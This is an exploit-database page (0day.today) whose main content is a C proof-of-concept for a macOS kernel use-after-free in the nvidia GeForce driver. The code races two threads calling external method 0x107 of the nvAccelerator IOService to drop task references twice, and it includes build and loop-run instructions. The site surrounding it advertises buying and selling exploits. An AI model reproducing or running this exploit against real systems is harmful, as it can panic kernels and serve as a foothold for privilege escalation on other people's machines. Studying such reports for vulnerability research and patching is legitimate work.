0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
macOS Kernel - Use-After-Free Due to Lack of Locking in nvidia GeForce Driver Exploit
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
/* nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService. It calls task_deallocate without locking. Two threads can race calling this external method to drop two task references when only one is held. Note that the repro forks a child which give the nvAccelerator a different task otherwise the repro is more likely to leak task references than panic. */ // ianbeer #if 0 MacOS kernel UAF due to lack of locking in nvidia GeForce driver nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService. It calls task_deallocate without locking. Two threads can race calling this external method to drop two task references when only one is held. Note that the repro forks a child which give the nvAccelerator a different task otherwise the repro is more likely to leak task references than panic. #endif // build: clang -o nvtask nvtask.c -framework IOKit // run: while true; do ./nvtask; done #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #include <pthread.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <IOKit/IOKitLib.h> uint64_t set_app_support_bits(mach_port_t conn) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputStructCnt = 1; outputStructCnt = 1; inputStruct[0] = 0xff; err = IOConnectCallMethod( conn, 0x107, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } volatile int go = 0; volatile int running = 0; void* thread_func(void* arg) { mach_port_t conn = (mach_port_t)arg; printf("thread running\n"); running = 1; while(!go){;} set_app_support_bits(conn); return 0; } int main(int argc, char** argv){ pid_t child_pid = fork(); if (child_pid == -1) { printf("fork failed\n"); return 0; } if (child_pid) { io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator")); if (service == MACH_PORT_NULL) { printf("unable to find service\n"); return 0; } printf("got service: 0x%x\n", service); io_connect_t conn = MACH_PORT_NULL; kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice if (err != KERN_SUCCESS) { printf("unable to open ioservice\n"); return 0; } printf("got service\n"); pthread_t th; pthread_create(&th, NULL, thread_func, (void*)conn); while(!running){;} go = 1; set_app_support_bits(conn); pthread_join(th, NULL); int loc = 0; wait(&loc); } else { io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator")); if (service == MACH_PORT_NULL) { printf("unable to find service\n"); return 0; } printf("got service: 0x%x\n", service); io_connect_t conn = MACH_PORT_NULL; kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice if (err != KERN_SUCCESS) { printf("unable to open ioservice\n"); return 0; } printf("got service\n"); set_app_support_bits(conn); } return 0; } # 0day.today [2024-06-03] #